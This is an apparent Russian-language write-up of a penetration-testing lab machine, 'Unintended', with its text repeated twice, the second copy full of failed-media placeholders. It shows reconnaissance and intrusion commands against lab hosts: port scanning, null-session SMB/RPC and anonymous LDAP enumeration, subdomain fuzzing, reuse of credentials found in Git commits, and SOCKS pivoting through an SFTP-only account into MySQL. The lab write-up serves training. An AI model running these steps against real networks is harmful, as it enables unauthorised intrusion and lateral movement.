Компания Unintended недавно перевела свою инфраструктуру на Active Directory. Руководство обеспокоено тем, что устаревшие методы и упущенные из виду ошибки конфигурации могут сделать среду уязвимой для внешних угроз. Вашей фирме поручено провести тестирование на проникновение с целью определения, может ли злоумышленник перейти от первоначального доступа к полному контролю над доменом.
Unintended предоставляет практический опыт решения распространенных ошибок при развертывании Active Directory, демонстрируя, как злоумышленники могут переключаться между службами для повышения привилегий. Машина сочетает методы повышения привилегий в Linux с путями атак на Active Directory, что делает её ценной площадкой для практики как для специалистов по наступательной, так и по оборонительной безопасности.
Unintended предназначена для тех, кто хочет расширить свои знания об эксплуатации Active Directory в среде, ориентированной на Linux. Машина хорошо подходит для тех, кто хочет понять реальные ошибки конфигурации в гибридной инфраструктуре.
В этой лаборатории Red Team Operator уровня I игроки столкнутся со следующими темами:
По заданию нам даны 3 айпи адреса.
10.13.38.57
10.13.38.58
10.13.38.59
Проверим, что они доступны.
ping -c 1 10.13.38.57 | grep ttl
ping -c 1 10.13.38.58 | grep ttl
ping -c 1 10.13.38.59 | grep ttl
Просканируем порты на этих машинах.
sudo masscan -p1-65535,U:1-65535 10.13.38.57 --rate=500 -e tun0 > unintended.57
sudo masscan -p1-65535,U:1-65535 10.13.38.58 --rate=500 -e tun0 > unintended.58
sudo masscan -p1-65535,U:1-65535 10.13.38.59 --rate=500 -e tun0 > unintended.59
Теперь просканируем порты более подробно nmapом.
nmap -p22,53,88,135,139,389,445,464,636,3268,3269,49152,49153,49154 -sC -sV -oA nmap/unintended.57 10.13.38.57
nmap -p21,22 -sC -sV -oA nmap/unintended.58 10.13.38.58
nmap -p22,80 -sC -sV -oA nmap/unintended.59 10.13.38.59
Как видно из первого скана, наш домен называется unintended.vl, а имя машины dc.
Давайте добавим эту информацию в файл hosts.
sudo nano /etc/hosts
Если перейдем на веб сервис по адресу 10.13.38.59 то увидим следующую страницу.
Нас приветствует страница заглушка.
Проверим домен контроллер на нулевую аутентификацию.
netexec smb 10.13.38.57 -u '' -p '' --users
Или через RPC.
rpcclient -U '' -N 10.13.38.57 -c enumdomusers | cut -d'[' -f2 | cut -d']' -f1
Нам доступны имена пользователей, давайте сохраним их в файл users.txt.
nano users.txt
Также nmap сказал нам, что включена анонимная привязка LDAP — отличный вектор перечисления.
Давайте перечислим LDAP.
ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base
Получаем следующую информацию:
Домен — unintended.vl
Контроллер - dc.unintended.vl (компьютерная учётка: dc$)
Тип - Samba AD (не Windows)
Функциональный уровень -2008 R2 (уровень 4)
Аутентификация - NTLM, Kerberos (GSSAPI/SPNEGO)
Репликация - Включена, сервер — Global Catalog
Активность - Очень низкая (USN=4488)
LDAP Controls - Поддержка пагинации, запроса прав, шифрования
Доступные разделы - 5 контекстов (домен, конфигурация, схема, две DNS-зоны)
Мы можем перечислить общие ресурсы.
netexec smb 10.13.38.57 -u '' -p '' --shares
Есть общий ресурс home, но он нам пока недоступен.
Проверим пользователей на ASREProast.
impacket-GetNPUsers -usersfile users.txt unintended.vl/
Но нужных флагов не установлено.
Проведем фаззинг поддоменов.
ffuf -u http://10.13.38.59/ -H 'Host: FUZZ.unintended.vl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
Нашлось два домена, но сделаем ещё один тест с применением другой утилиты.
dnsenum --dnsserver 10.13.38.57 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl
Здесь на момент написания статьи у машины что-то с днс сервером, хотя масскан говорит, что порт открыт. Вывод должен быть таким.
Пропишем новые поддомены в файл hosts.
sudo nano /etc/hosts
Перейдя по адресу нас встречает Gitea: Git with a cup of tea.
Перейдя в репозитории, видим, что Хуан имеет открытый репозиторий.
Также видим пользователей.
Походим по репозиториям и находим следующие коммиты.
http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785
http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22
Попробуем подключиться с полученным учетными данными к ssh.
ssh [email protected]
Нам дают подсказку - This service allows sftp connections only.
Подключимся по sftp как нам советуют.
sftp [email protected]
Но на ftp ничего не находим.
Согласно разделу на HackTricks, служба SFTP может быть неправильно настроена, разрешая переадресацию портов и туннелирование, даже если она запрещает вход по SSH, что позволяет нам исследовать и получать доступ к внутренним портам и сетям.
Давайте настроим SOCKS-прокси:
ssh -D 1080 -N [email protected]
Поправим конфиг proxychains4.
sudo nano /etc/proxychains4.conf
Теперь можем запустить nmap через прокси и просканировать порты.
sudo proxychains4 nmap -sT -Pn 127.0.0.1
На сервере открыт порт mysql – 3306.
Подключимся к серверу базы данных.
sudo proxychains4 mysql -h 127.0.0.1 -u root -p
Unintended предоставляет практический опыт решения распространенных ошибок при развертывании Active Directory, демонстрируя, как злоумышленники могут переключаться между службами для повышения привилегий. Машина сочетает методы повышения привилегий в Linux с путями атак на Active Directory, что делает её ценной площадкой для практики как для специалистов по наступательной, так и по оборонительной безопасности.
Unintended предназначена для тех, кто хочет расширить свои знания об эксплуатации Active Directory в среде, ориентированной на Linux. Машина хорошо подходит для тех, кто хочет понять реальные ошибки конфигурации в гибридной инфраструктуре.
В этой лаборатории Red Team Operator уровня I игроки столкнутся со следующими темами:
- Перечисление резервных копий Active Directory
- Боковое перемещение
- Пивотинг
- Повышение привилегий в Linux
- Криминалистический анализ резервных копий
- Атаки на веб-приложения
По заданию нам даны 3 айпи адреса.
10.13.38.57
10.13.38.58
10.13.38.59
Проверим, что они доступны.
ping -c 1 10.13.38.57 | grep ttl
ping -c 1 10.13.38.58 | grep ttl
ping -c 1 10.13.38.59 | grep ttl
Не удалось прогрузить медиа
Просканируем порты на этих машинах.
sudo masscan -p1-65535,U:1-65535 10.13.38.57 --rate=500 -e tun0 > unintended.57
sudo masscan -p1-65535,U:1-65535 10.13.38.58 --rate=500 -e tun0 > unintended.58
sudo masscan -p1-65535,U:1-65535 10.13.38.59 --rate=500 -e tun0 > unintended.59
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Теперь просканируем порты более подробно nmapом.
nmap -p22,53,88,135,139,389,445,464,636,3268,3269,49152,49153,49154 -sC -sV -oA nmap/unintended.57 10.13.38.57
nmap -p21,22 -sC -sV -oA nmap/unintended.58 10.13.38.58
nmap -p22,80 -sC -sV -oA nmap/unintended.59 10.13.38.59
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Не удалось прогрузить медиа
Как видно из первого скана, наш домен называется unintended.vl, а имя машины dc.
Давайте добавим эту информацию в файл hosts.
sudo nano /etc/hosts
Не удалось прогрузить медиа
Если перейдем на веб сервис по адресу 10.13.38.59 то увидим следующую страницу.
Не удалось прогрузить медиа
Нас приветствует страница заглушка.
Проверим домен контроллер на нулевую аутентификацию.
netexec smb 10.13.38.57 -u '' -p '' --users
Или через RPC.
rpcclient -U '' -N 10.13.38.57 -c enumdomusers | cut -d'[' -f2 | cut -d']' -f1
Не удалось прогрузить медиа
Нам доступны имена пользователей, давайте сохраним их в файл users.txt.
nano users.txt
Не удалось прогрузить медиа
Также nmap сказал нам, что включена анонимная привязка LDAP — отличный вектор перечисления.
Давайте перечислим LDAP.
ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base
Не удалось прогрузить медиа
Получаем следующую информацию:
Домен — unintended.vl
Контроллер - dc.unintended.vl (компьютерная учётка: dc$)
Тип - Samba AD (не Windows)
Функциональный уровень -2008 R2 (уровень 4)
Аутентификация - NTLM, Kerberos (GSSAPI/SPNEGO)
Репликация - Включена, сервер — Global Catalog
Активность - Очень низкая (USN=4488)
LDAP Controls - Поддержка пагинации, запроса прав, шифрования
Доступные разделы - 5 контекстов (домен, конфигурация, схема, две DNS-зоны)
Мы можем перечислить общие ресурсы.
netexec smb 10.13.38.57 -u '' -p '' --shares
Не удалось прогрузить медиа
Есть общий ресурс home, но он нам пока недоступен.
Проверим пользователей на ASREProast.
impacket-GetNPUsers -usersfile users.txt unintended.vl/
Не удалось прогрузить медиа
Но нужных флагов не установлено.
Проведем фаззинг поддоменов.
ffuf -u http://10.13.38.59/ -H 'Host: FUZZ.unintended.vl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
Не удалось прогрузить медиа
Нашлось два домена, но сделаем ещё один тест с применением другой утилиты.
dnsenum --dnsserver 10.13.38.57 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl
Не удалось прогрузить медиа
Здесь на момент написания статьи у машины что-то с днс сервером, хотя масскан говорит, что порт открыт. Вывод должен быть таким.
Не удалось прогрузить медиа
Пропишем новые поддомены в файл hosts.
sudo nano /etc/hosts
Не удалось прогрузить медиа
Перейдя по адресу нас встречает Gitea: Git with a cup of tea.
Не удалось прогрузить медиа
Перейдя в репозитории, видим, что Хуан имеет открытый репозиторий.
Не удалось прогрузить медиа
Также видим пользователей.
Не удалось прогрузить медиа
Походим по репозиториям и находим следующие коммиты.
http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785
Не удалось прогрузить медиа
http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22
Не удалось прогрузить медиа
Попробуем подключиться с полученным учетными данными к ssh.
ssh [email protected]
Не удалось прогрузить медиа
Нам дают подсказку - This service allows sftp connections only.
Подключимся по sftp как нам советуют.
sftp [email protected]
Не удалось прогрузить медиа
Но на ftp ничего не находим.
Не удалось прогрузить медиа
Согласно разделу на HackTricks, служба SFTP может быть неправильно настроена, разрешая переадресацию портов и туннелирование, даже если она запрещает вход по SSH, что позволяет нам исследовать и получать доступ к внутренним портам и сетям.
Давайте настроим SOCKS-прокси:
ssh -D 1080 -N [email protected]
Не удалось прогрузить медиа
Поправим конфиг proxychains4.
sudo nano /etc/proxychains4.conf
Не удалось прогрузить медиа
Теперь можем запустить nmap через прокси и просканировать порты.
sudo proxychains4 nmap -sT -Pn 127.0.0.1
Не удалось прогрузить медиа
На сервере открыт порт mysql – 3306.
Подключимся к серверу базы данных.
sudo proxychains4 mysql -h 127.0.0.1 -u root -p
Не удалось прогрузить медиа
👍32
❤️4
😮6
👏4
LIMB